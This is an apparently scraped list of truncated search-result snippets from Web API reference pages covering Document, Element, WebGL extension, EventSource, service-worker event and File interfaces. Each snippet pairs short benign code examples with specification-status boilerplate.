... working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
Document.fullscreen - Web APIs
specifications specification status comment fullscreen apithe definition of 'document.fullscreen' in that specification.
... living standard initial definition (as an obsolete property).
Document.fullscreenEnabled - Web APIs
function requestfullscreen() { if (document.fullscreenenabled) { videoelement.requestfullscreen(); } else { console.log('your browser cannot use fullscreen right now'); } } specifications specification status comment fullscreen apithe definition of 'document.fullscreenenabled' in that specification.
... living standard initial definition ...
Document.hasFocus() - Web APIs
WebAPIDocumenthasFocus
t = 'this document does not have the focus.'; body.style.background = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result specification specification status comment html living standardthe definition of 'document.hasfocus()' in that specification.
... living standard initial definition ...
Document.hidden - Web APIs
WebAPIDocumenthidden
}); specifications specification status comment page visibility (second edition)the definition of 'document.hidden' in that specification.
... recommendation initial definition ...
Document.lastModified - Web APIs
…the same example, but skipping the first visit: var nlastvisit = parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")), nlastmodif = date.parse(document.lastmodified); if (isnan(nlastvisit) || nlastmodif > nlastvisit) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; if (isfinite(nlastvisit)) { alert("this page has been changed!"); } } note: webkit returns the time string in utc; gecko and internet explorer return a time in the local timezone.
... specifications specification status comment html living standardthe definition of 'document.lastmodified' in that specification.
Document.onfullscreenchange - Web APIs
example document.onfullscreenchange = function ( event ) { console.log("full screen change") }; document.documentelement.onclick = function () { // requestfullscreen() must be in an event handler or it will fail document.documentelement.requestfullscreen(); } specifications specification status comment fullscreen apithe definition of 'onfullscreenchange' in that specification.
... living standard initial definition.
Document.onfullscreenerror - Web APIs
document.documentelement.requestfullscreen(); specifications specification status comment fullscreen apithe definition of 'onfullscreenerror' in that specification.
... living standard initial definition.
Document.onvisibilitychange - Web APIs
example document.onvisibilitychange = function() { console.log("visibility of page has changed!"); }; specifications specification status comment page visibility (second edition)the definition of 'onvisibilitychange' in that specification.
... recommendation initial definition.
Document.open() - Web APIs
WebAPIDocumentopen
specifications specification status comment html living standardthe definition of 'document.open()' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.open()' in that specification.
Document: paste event - Web APIs
the paste event is fired when the user has initiated a "paste" action through the browser's user interface.
... examples document.addeventlistener('paste', (event) => { console.log('paste action initiated') }); specifications specification status clipboard api and events working draft ...
Document.referrer - Web APIs
WebAPIDocumentreferrer
inside an <iframe>, the document.referrer will initially be set to the same value as the href of the parent window's window.location.
... specifications specification status comment html living standardthe definition of 'document.referrer' in that specification.
Document.scrollingElement - Web APIs
syntax var element = document.scrollingelement; example var scrollelm = document.scrollingelement; scrollelm.scrolltop = 0; specifications specification status comment css object model (cssom) view modulethe definition of 'scrollingelement' in that specification.
... working draft initial definition ...
Document: selectionchange event - Web APIs
event handler property onselectionchange examples // addeventlistener version document.addeventlistener('selectionchange', () => { console.log(document.getselection()); }); // onselectionchange version document.onselectionchange = () => { console.log(document.getselection()); }; specifications specification status comment selection apithe definition of 'selectionchange' in that specification.
... working draft initial definition.
Document: selectstart event - Web APIs
interface event event handler property onselectstart examples // addeventlistener version document.addeventlistener('selectstart', () => { console.log('selection started'); }); // onselectstart version document.onselectstart = () => { console.log('selection changed.'); }; specifications specification status comment selection apithe definition of 'selectstart' in that specification.
... working draft initial definition.
Document.title - Web APIs
WebAPIDocumenttitle
for html documents the initial value of document.title is the text content of the <title> element.
... specifications specification status comment html living standardthe definition of 'document.title' in that specification.
Document: transitioncancel event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitioncancel' in that specification.
... working draft initial definition.
Document: transitionend event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionend' in that specification.
... working draft initial definition.
Document: transitionrun event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionrun' in that specification.
... working draft initial definition.
Document: transitionstart event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionstart' in that specification.
... working draft initial definition.
Document.visibilityState - Web APIs
}); specifications specification status comment page visibility (second edition)the definition of 'document.visibilitystate' in that specification.
... recommendation initial definition.
Document.write() - Web APIs
WebAPIDocumentwrite
specifications specification status comment html living standardthe definition of 'document.write(...)' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.write(...)' in that specification.
Document.writeln() - Web APIs
WebAPIDocumentwriteln
specifications specification status comment html living standardthe definition of 'document.writeln()' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.writeln()' in that specification.
DocumentFragment() - Web APIs
syntax fragment = new documentfragment() example let fragment = new documentfragment(); specification specification status comment domthe definition of 'documentfragment()' in that specification.
... living standard initial definition.
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
eateelement('br'); textnode.parentnode.insertbefore(br, replacement); } } window.onload = function (){ var paragraphs = document.getelementsbytagname("p"); for (i=0 ; i < paragraphs.length; i++) { paragraphs[i].addeventlistener("click", insertbreakatpoint, false); } }; specifications specification status comment css object model (cssom) view modulethe definition of 'caretpositionfrompoint()' in that specification.
... working draft initial definition.
DocumentOrShadowRoot.elementFromPoint() - Web APIs
result specifications specification status shadow domthe definition of 'elementsfrompoint()' in that specification.
... obsolete css object model (cssom) view modulethe definition of 'elementsfrompoint()' in that specification.
DocumentOrShadowRoot.elementsFromPoint() - Web APIs
0; i < elements.length; i++) { output.textcontent += elements[i].localname; if (i < elements.length - 1) { output.textcontent += " < "; } } } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code>document.elementsfrompoint()</code>" + "</span>"; } specifications specification status shadow domthe definition of 'elementsfrompoint()' in that specification.
... obsolete css object model (cssom) view modulethe definition of 'elementsfrompoint()' in that specification.
DocumentOrShadowRoot.fullscreenElement - Web APIs
function isvideoinfullscreen() { if (document.fullscreenelement && document.fullscreenelement.nodename == 'video') { return true; } return false; } specifications specification status comment fullscreen apithe definition of 'document.fullscreenelement' in that specification.
... living standard initial definition ...
DocumentOrShadowRoot.getSelection() - Web APIs
specifications specification status comment shadow domthe definition of 'documentorshadowroot' in that specification.
... obsolete initial definition.
DocumentOrShadowRoot.styleSheets - Web APIs
specifications specification status comment shadow domthe definition of 'documentorshadowroot' in that specification.
... obsolete initial definition.
Examples of web and XML development using the DOM - Web APIs
example 1: height and width the following example shows the use of the height and width properties alongside images of varying dimensions: <!doctype html> <html lang="en"> <head> <title>width/height example</title> <script> function init() { var arrimages = new array(3); arrimages[0] = document.getelementbyid("image1"); arrimages[1] = document.getelementbyid("image2"); arrimages[2] = document.getelementbyid("image3"); var objoutput = document.getelementbyid("output"); var strhtml = "<ul>"; for (var i = 0; i < arrimages.length; i++) { strhtml += "<li>image" + (i+1) + ": height=" + arrimages[i].heig...
...ht + ", width=" + arrimages[i].width + ", style.height=" + arrimages[i].style.height + ", style.width=" + arrimages[i].style.width + "<\/li>"; } strhtml += "<\/ul>"; objoutput.innerhtml = strhtml; } </script> </head> <body onload="init();"> <p>image 1: no height, width, or style <img id="image1" src="https://udn.realityripple.com/samples/d2/8ba7141ed1.gif"> </p> <p>image 2: height="50", width="500", but no style <img id="image2" src="https://udn.realityripple.com/samples/d2/8ba7141ed1.gif" height="50" width="500"> </p> <p>image 3: no height, width, but style="height: 50px; width: 500px;" <img id="image3" src="https://udn.realityripple.com/samples/d2/8ba7141ed1.gif" style="height: 50px; width: 500px;"> ...
DoubleRange - Web APIs
specifications specification status comment media capture and streamsthe definition of 'doublerange' in that specification.
... candidate recommendation initial definition ...
DynamicsCompressorNode() - Web APIs
specifications specification status comment web audio apithe definition of 'dynamicscompressornode()' in that specification.
... working draft initial definition.
EXT_blend_minmax - Web APIs
examples var ext = gl.getextension('ext_blend_minmax'); gl.blendequation(ext.min_ext); gl.blendequation(ext.max_ext); gl.blendequationseparate(ext.min_ext, ext.max_ext); specifications specification status comment ext_blend_minmaxthe definition of 'ext_blend_minmax' in that specification.
... recommendation initial definition.
EXT_color_buffer_float - Web APIs
var ext = gl.getextension('ext_color_buffer_float'); gl.renderbufferstorage(gl.renderbuffer, gl.rgba16f, 256, 256); specifications specification status comment ext_color_buffer_floatthe definition of 'ext_color_buffer_float' in that specification.
... recommendation initial definition for webgl.
EXT_color_buffer_half_float - Web APIs
examples var ext = gl.getextension('ext_color_buffer_half_float'); gl.renderbufferstorage(gl.renderbuffer, ext.rbga16f_ext, 256, 256); specifications specification status comment ext_color_buffer_half_floatthe definition of 'ext_color_buffer_half_float' in that specification.
... recommendation initial definition.
EXT_disjoint_timer_query.beginQueryEXT() - Web APIs
specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
... working draft initial definition.
EXT_disjoint_timer_query.deleteQueryEXT() - Web APIs
ext.deletequeryext(query); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
... working draft initial definition.
EXT_disjoint_timer_query.endQueryEXT() - Web APIs
ext.endqueryext(ext.time_elapsed_ext); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
... working draft initial definition.
EXT_disjoint_timer_query.getQueryEXT() - Web APIs
examples var ext = gl.getextension('ext_disjoint_timer_query'); var startquery = ext.createqueryext(); ext.querycounterext(startquery, ext.timestamp_ext); var currentquery = ext.getqueryext(ext.timestamp_ext, ext.current_query_ext); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
... working draft initial definition.
EXT_disjoint_timer_query.getQueryObjectEXT() - Web APIs
var timeelapsed = ext.getqueryobjectext(query, ext.query_result_ext); } specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
... working draft initial definition.
EXT_disjoint_timer_query.isQueryEXT() - Web APIs
ext.isqueryext(query); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
... working draft initial definition.
EXT_disjoint_timer_query.queryCounterEXT() - Web APIs
ext.querycounterext(endquery, ext.timestamp_ext); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
... working draft initial definition.
EXT_disjoint_timer_query - Web APIs
examples var ext = gl.getextension('ext_disjoint_timer_query'); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
... working draft initial definition.
EXT_frag_depth - Web APIs
able the extension: gl.getextension('ext_frag_depth'); now the output variable gl_fragdepthext is available to set a depth value of a fragment from within the fragment shader: <script type="x-shader/x-fragment"> void main() { gl_fragcolor = vec4(1.0, 0.0, 1.0, 1.0); gl_fragdepthext = 0.5; } </script> specifications specification status comment ext_frag_depththe definition of 'ext_frag_depth' in that specification.
... recommendation initial definition.
EXT_sRGB - Web APIs
WebAPIEXT sRGB
examples var ext = gl.getextension('ext_srgb'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, ext.srgb_ext, 512, 512, 0, ext.srgb_ext, gl.unsigned_byte, image); specifications specification status comment ext_srgbthe definition of 'ext_srgb' in that specification.
... recommendation initial definition.
EXT_shader_texture_lod - Web APIs
xt_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_fragcolor = texture2dgradext(mytexture, mod(texcoord, vec2(0.1, 0.5)), dfdx(texcoord), dfdy(texcoord)); } </script> specifications specification status comment ext_shader_texture_lodthe definition of 'ext_shader_texture_lod' in that specification.
... recommendation initial definition.
EXT_texture_filter_anisotropic - Web APIs
ilter_anisotropic') || gl.getextension('moz_ext_texture_filter_anisotropic') || gl.getextension('webkit_ext_texture_filter_anisotropic') ); if (ext){ var max = gl.getparameter(ext.max_texture_max_anisotropy_ext); gl.texparameterf(gl.texture_2d, ext.texture_max_anisotropy_ext, max); } specifications specification status comment ext_texture_filter_anisotropicthe definition of 'ext_texture_filter_anisotropic' in that specification.
... recommendation initial definition.
EffectTiming.duration - Web APIs
this value must not be negative; otherwise, it can have any value (including positive infinity).
... randomizer function var getrandommsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)" }); }); specifications specification status comment web animationsthe definition of 'duration' in that specification.
EffectTiming.easing - Web APIs
both x values must be in the range [0, 1] or the definition is invalid.
...sform: 'translatey(-100%)' } ]; // get the element that represents alice and the red queen var redqueen_alice_sprite = document.getelementbyid('red-queen_and_alice_sprite'); // animate alice and the red queen using steps() var redqueen_alice = redqueen_alice_sprite.animate( spriteframes, { easing: 'steps(7, end)', direction: "reverse", duration: 600, playbackrate: 1, iterations: infinity }); specifications specification status comment web animationsthe definition of 'easing' in that specification.
EffectTiming.endDelay - Web APIs
the animation's end time—the time at which an iteration is considered to have finished—is the time at which the animation finishes an iteration (its initial delay, animationeffecttimingreadonly.delay, plus its duration,duration, plus its end delay.
... specifications specification status comment web animationsthe definition of 'enddelay' in that specification.
Element.attachShadow() - Web APIs
the following is a list of elements you can attach a shadow root to: any autonomous custom element with a valid name <article> <aside> <blockquote> <body> <div> <footer> <h1> <h2> <h3> <h4> <h5> <h6> <header> <main> <nav> <p> <section> <span> syntax var shadowroot = element.attachshadow(shadowrootinit); parameters shadowrootinit a shadowrootinit dictionary, which can contain the following fields: mode a string specifying the encapsulation mode for the shadow dom tree.
...shadow root shadow.appendchild(text); // update count when element content changes setinterval(function() { var count = 'words: ' + countwords(wcparent); text.textcontent = count; }, 200) } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); specifications specification status comment domthe definition of 'attachshadow()' in that specification.
Element.closest() - Web APIs
WebAPIElementclosest
) { element.prototype.closest = function(s) { var matches = (this.document || this.ownerdocument).queryselectorall(s), i, el = this; do { i = matches.length; while (--i >= 0 && matches.item(i) !== el) {}; } while ((i < 0) && (el = el.parentelement)); return el; }; } specifications specification status comment domthe definition of 'element.closest()' in that specification.
... living standard initial definition.
Element: dblclick event - Web APIs
large'); }); html <aside> <h3>my card</h3> <p>double click to resize this object.</p> </aside> css aside { background: #fe9; border-radius: 1em; display: inline-block; padding: 1em; transform: scale(.9); transform-origin: 0 0; transition: transform .6s; } .large { transform: scale(1.3); } result specifications specification status ui eventsthe definition of 'dblclick' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'dblclick' in that specification.
Element.getAttributeNames() - Web APIs
rototype.getattributenames == undefined) { element.prototype.getattributenames = function () { var attributes = this.attributes; var length = attributes.length; var result = new array(length); for (var i = 0; i < length; i++) { result[i] = attributes[i].name; } return result; }; } specifications specification status comment domthe definition of 'element.getattributenames' in that specification.
... living standard initial definition ...
Element.getBoundingClientRect() - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'element.getboundingclientrect()' in that specification.
... working draft initial definition notes the returned domrect object can be modified in modern browsers.
Element.getElementsByClassName() - Web APIs
here we'll find all <div> elements that have a class of test: var testelements = document.getelementsbyclassname('test'); var testdivs = array.prototype.filter.call(testelements, function(testelement) { return testelement.nodename === 'div'; }); specifications specification status comment domthe definition of 'element.getelementsbyclassname()' in that specification.
... living standard initial definition ...
Element.localName - Web APIs
WebAPIElementlocalName
specifications specification status comment domthe definition of 'element.localname' in that specification.
... living standard initial definition ...
Element.matches() - Web APIs
WebAPIElementmatches
if (!element.prototype.matches) { element.prototype.matches = element.prototype.msmatchesselector || element.prototype.webkitmatchesselector; } specification specification status comment domthe definition of 'element.prototype.matches' in that specification.
... living standard initial definition ...
Element: mouseleave event - Web APIs
ed text var newtextnode = document.createtextnode(text); // create a new li element var newlistitem = document.createelement("li"); // add the text node to the li element newlistitem.appendchild(newtextnode); // add the newly created list item to list unorderedlist.appendchild(newlistitem); } result specifications specification status ui eventsthe definition of 'mouseleave' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mouseleave' in that specification.
Element: mousemove event - Web APIs
ext, x, y, e.offsetx, e.offsety); x = 0; y = 0; isdrawing = false; } }); function drawline(context, x1, y1, x2, y2) { context.beginpath(); context.strokestyle = 'black'; context.linewidth = 1; context.moveto(x1, y1); context.lineto(x2, y2); context.stroke(); context.closepath(); } result specifications specification status ui eventsthe definition of 'mousemove' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mousemove' in that specification.
Element: mouseout event - Web APIs
riefly make an <li> orange when the mouse moves off of it test.addeventlistener("mouseout", function( event ) { // highlight the mouseout target event.target.style.color = "orange"; // reset the color after a short delay settimeout(function() { event.target.style.color = ""; }, 500); }, false); result specifications specification status ui eventsthe definition of 'mouseout' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mouseout' in that specification.
Element: mouseover event - Web APIs
time the cursor // is moved over a different list item test.addeventlistener("mouseover", function( event ) { // highlight the mouseover target event.target.style.color = "orange"; // reset the color after a short delay settimeout(function() { event.target.style.color = ""; }, 500); }, false); result specifications specification status ui eventsthe definition of 'mouseover' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mouseover' in that specification.
Element: mouseup event - Web APIs
ext, x, y, e.offsetx, e.offsety); x = 0; y = 0; isdrawing = false; } }); function drawline(context, x1, y1, x2, y2) { context.beginpath(); context.strokestyle = 'black'; context.linewidth = 1; context.moveto(x1, y1); context.lineto(x2, y2); context.stroke(); context.closepath(); } result specifications specification status ui eventsthe definition of 'mouseup' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mouseup' in that specification.
Element.onfullscreenchange - Web APIs
alert(`error attempting to enable full-screen mode: ${err.message} (${err.name})`); }); } else { document.exitfullscreen(); } } function handlefullscreenchange(event) { let elem = event.target; let isfullscreen = document.fullscreenelement === elem; adjustmycontrols(isfullscreen); } specifications specification status comment fullscreen apithe definition of 'onfullscreenchange' in that specification.
... living standard initial definition.
Element.requestFullscreen() - Web APIs
specifications specification status comment fullscreen apithe definition of 'element.requestfullscreen()' in that specification.
... living standard initial definition ...
Element.scroll() - Web APIs
WebAPIElementscroll
examples // put the 1000th vertical pixel at the top of the element element.scroll(0, 1000); using options: element.scroll({ top: 100, left: 100, behavior: 'smooth' }); specification specification status comment css object model (cssom) view modulethe definition of 'element.scroll()' in that specification.
... working draft initial definition.
Element.scrollBy() - Web APIs
WebAPIElementscrollBy
examples // scroll an element element.scrollby(300, 300); using options: element.scrollby({ top: 100, left: 100, behavior: 'smooth' }); specification specification status comment css object model (cssom) view modulethe definition of 'element.scrollby()' in that specification.
... working draft initial definition.
Element.scrollHeight - Web APIs
accept.checked = false; checkreading.noticebox.id = "notice"; otoberead.parentnode.insertbefore(checkreading.noticebox, otoberead); otoberead.parentnode.insertbefore(document.createelement("br"), otoberead); otoberead.onscroll = checkreading; checkreading.call(otoberead); } specifications specification status comment css object model (cssom) view modulethe definition of 'element.scrollheight' in that specification.
... working draft initial definition ...
Element.scrollIntoView() - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'element.scrollintoview()' in that specification.
... working draft initial definition ...
Element.scrollTo() - Web APIs
WebAPIElementscrollTo
examples element.scrollto(0, 1000); using options: element.scrollto({ top: 100, left: 100, behavior: 'smooth' }); specifications specification status comment css object model (cssom) view modulethe definition of 'element.scrollto()' in that specification.
... working draft initial definition.
Element.scrollWidth - Web APIs
} else { alert('no overflows!'); } } buttonone.addeventlistener('click', function() { alertoverflow(divone); }); buttontwo.addeventlistener('click', function() { alertoverflow(divtwo); }); </script> </html> result specification specification status comment css object model (cssom) view modulethe definition of 'element.scrollwidth' in that specification.
... working draft initial definition ...
Element.setCapture() - Web APIs
<html> <head> <title>mouse capture example</title> <style type="text/css"> #mybutton { border: solid black 1px; color: black; padding: 2px; box-shadow: black 2px 2px; } </style> <script type="text/javascript"> function init() { var btn = document.getelementbyid("mybutton"); if (btn.setcapture) { btn.addeventlistener("mousedown", mousedown, false); btn.addeventlistener("mouseup", mouseup, false); } else { document.getelementbyid("output").innerhtml = "sorry, there appears to be no setcapture support on this browser"; } } function mousedown(e) { ...
...e.target.setcapture(); e.target.addeventlistener("mousemove", mousemoved, false); } function mouseup(e) { e.target.removeeventlistener("mousemove", mousemoved, false); } function mousemoved(e) { var output = document.getelementbyid("output"); output.innerhtml = "position: " + e.clientx + ", " + e.clienty; } </script> </head> <body onload="init()"> <p>this is an example of how to use mouse capture on elements in gecko 2.0.</p> <p><a id="mybutton" href="#">test me</a></p> <div id="output">no events yet</div> </body> </html> view live examples notes the element may not be scrolled completely to the top or bottom, depending on the layout of other elements.
Element.shadowRoot - Web APIs
inside the <custom-square> element's class definition we include some life cycle callbacks that make a call to an external function, updatestyle(), which actually applies the size and color to the element.
....childnodes); childnodes.foreach(childnode => { if (childnode.nodename === 'style') { childnode.textcontent = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px; background-color: ${elem.getattribute('c')}; } `; } }); } specifications specification status comment domthe definition of 'shadowroot' in that specification.
ElementCSSInlineStyle.style - Web APIs
note the presence of the value bold for font-weight in the computed style and the absence of it in the element's style property specifications specification status comment css object model (cssom)the definition of 'the elementcssinlinestyle.style property' in that specification.
... working draft initial definition.
ElementCSSInlineStyle - Web APIs
specifications specification status comment css object model (cssom)the definition of 'htmlorforeignelement' in that specification.
... working draft initial definition.
Event.composed - Web APIs
WebAPIEventcomposed
the first definition looks like this, for example: customelements.define('open-shadow', class extends htmlelement { constructor() { super(); let pelem = document.createelement('p'); pelem.textcontent = this.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(pelem); } }); we then insert one of each element into our page: <open-shadow t...
... specifications specification status comment domthe definition of 'composed' in that specification.
Event.composedPath() - Web APIs
the first definition looks like this, for example: customelements.define('open-shadow', class extends htmlelement { constructor() { super(); let pelem = document.createelement('p'); pelem.textcontent = this.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(pelem); } }); we then insert one of each element into our page: <open-shadow t...
... specifications specification status comment domthe definition of 'composedpath()' in that specification.
Event.isTrusted - Web APIs
WebAPIEventisTrusted
syntax var eventistrusted = event.istrusted; value boolean example if (e.istrusted) { /* the event is trusted */ } else { /* the event is not trusted */ } specification specification status comment domthe definition of 'event.istrusted' in that specification.
... living standard document object model (dom) level 3 events specificationthe definition of 'trusted events' in that specification.
Event.srcElement - Web APIs
WebAPIEventsrcElement
initially implemented in internet explorer, event.srcelement is a now-standard alias (defined in the dom standard but flagged as "historical") for the event.target property.
... specifications specification status comment domthe definition of 'event.srcelement' in that specification.
EventSource() - Web APIs
specifications specification status comment html living standardthe definition of 'eventsource()' in that specification.
... living standard initial definition ...
EventSource.close() - Web APIs
WebAPIEventSourceclose
specifications specification status comment html living standardthe definition of 'close()' in that specification.
... living standard initial definition ...
EventSource.onerror - Web APIs
specifications specification status comment html living standardthe definition of 'onerror' in that specification.
... living standard initial definition ...
EventSource.onmessage - Web APIs
specifications specification status comment html living standardthe definition of 'onmessage' in that specification.
... living standard initial definition ...
EventSource.onopen - Web APIs
specifications specification status comment html living standardthe definition of 'onopen' in that specification.
... living standard initial definition ...
EventSource.readyState - Web APIs
specifications specification status comment html living standardthe definition of 'readystate' in that specification.
... living standard initial definition ...
EventSource.url - Web APIs
WebAPIEventSourceurl
specifications specification status comment html living standardthe definition of 'url' in that specification.
... living standard initial definition ...
EventSource.withCredentials - Web APIs
specifications specification status comment html living standardthe definition of 'withcredentials' in that specification.
... living standard initial definition ...
ExtendableEvent - Web APIs
specifications specification status comment service workersthe definition of 'extendableevent' in that specification.
... working draft initial definition.
ExtendableMessageEvent.data - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.data); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.data' in that specification.
... working draft initial definition.
ExtendableMessageEvent.lastEventId - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.lasteventid); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.lasteventid' in that specification.
... working draft initial definition.
ExtendableMessageEvent.origin - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.origin); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.origin' in that specification.
... working draft initial definition.
ExtendableMessageEvent.ports - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.ports' in that specification.
... working draft initial definition.
ExtendableMessageEvent.source - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.source); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.source' in that specification.
... working draft initial definition.
ExtendableMessageEvent - Web APIs
}); } the service worker can receive the message by listening to the message event: // in the service worker addeventlistener('message', event => { // event is an extendablemessageevent object console.log(`the client sent me a message: ${event.data}`); event.source.postmessage("hi client"); }); specifications specification status comment service workersthe definition of 'extendablemessageevent' in that specification.
... working draft initial definition.
FeaturePolicy.allowedFeatures() - Web APIs
// first, get the feature policy object const featurepolicy = document.featurepolicy // then query feature for specific const allowed = featurepolicy.allowedfeatures() for (const directive of allowed){ console.log(directive) } specifications specification status comment feature policythe definition of 'allowsfeature' in that specification.
... editor's draft initial definition.
FeaturePolicy.allowsFeature() - Web APIs
// first, get the feature policy object const featurepolicy = document.featurepolicy // then query feature for specific const allowed = featurepolicy.allowsfeature("camera") if (allowed){ console.log("fp allows camera.") } else { console.log("fp does not allows camera.") } specifications specification status comment feature policythe definition of 'allowsfeature' in that specification.
... editor's draft initial definition.
FeaturePolicy.features() - Web APIs
the feature policy object const featurepolicy = document.featurepolicy // retreive the list of all supported feature policy directives const supporteddirectives = featurepolicy.features() // print out each directive into the console for (const directive of supporteddirectives){ console.log(directive) } specification specification status comment feature policythe definition of 'features' in that specification.
... editor's draft initial definition.
FeaturePolicy.getAllowlistForFeature() - Web APIs
// first, get the feature policy object const featurepolicy = document.featurepolicy // then query feature for specific const allowlist = featurepolicy.getallowlistforfeature("camera") for (const origin of allowlist){ console.log(origin) } specification specification status comment feature policythe definition of 'getallowlistforfeature' in that specification.
... editor's draft initial definition.
FederatedCredential.protocol - Web APIs
examples // tbd specifications specification status comments credential management level 1the definition of 'protocol' in that specification.
... working draft initial definition.
FederatedCredential - Web APIs
in browsers that support it, an instance of this interface may be passed in the credential member of the init object for global fetch.
...}); specifications specification status comment credential management level 1 working draft initial definition.
FetchEvent.preloadResponse - Web APIs
return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'preloadresponse' in that specification.
... working draft initial definition.
FetchEvent.clientId - Web APIs
example self.addeventlistener('fetch', function(event) { console.log(event.clientid); ​}); specifications specification status comment service workersthe definition of 'clientid' in that specification.
... working draft initial definition.
FetchEvent.navigationPreload - Web APIs
return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreload' in that specification.
... working draft initial definition.
FetchEvent.replacesClientId - Web APIs
example self.addeventlistener('fetch', function(event) { console.log(event.replacesclientid); }); specifications specification status comment service workersthe definition of 'replacesclientid' in that specification.
... working draft initial definition.
FetchEvent.resultingClientId - Web APIs
example self.addeventlistener('fetch', function(event) { console.log(event.resultingclientid); }); specifications specification status comment service workersthe definition of 'resultingclientid' in that specification.
... working draft initial definition.
File.lastModified - Web APIs
WebAPIFilelastModified
specifications specification status comment file apithe definition of 'lastmodified' in that specification.
... working draft initial definition.
File.name - Web APIs
WebAPIFilename
example <input type="file" multiple onchange="processselectedfiles(this)"> function processselectedfiles(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { alert("filename " + files[i].name); } } try the results out below: specifications specification status comment file apithe definition of 'name' in that specification.
... working draft initial definition.
File.type - Web APIs
WebAPIFiletype
specifications specification status comment file apithe definition of 'type' in that specification.
... working draft initial definition.
File.webkitRelativePath - Web APIs
on(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitrelativepath' in that specification.
... draft initial specification.
File - Web APIs
WebAPIFile
specifications specification status comment file apithe definition of 'the file interface' in that specification.
... working draft initial definition.
FileList - Web APIs
WebAPIFileList
ar fl = files.length; var i = 0; while ( i < fl) { // localize file var in the loop var file = files[i]; alert(file.name); i++; } } // set the input element onchange to call pullfiles document.queryselector("#myfiles").onchange=pullfiles; //a.t </script> </html> specifications specification status comment file apithe definition of 'filelist' in that specification.
... working draft html living standardthe definition of 'selected files' in that specification.
FileReader.abort() - Web APIs
WebAPIFileReaderabort
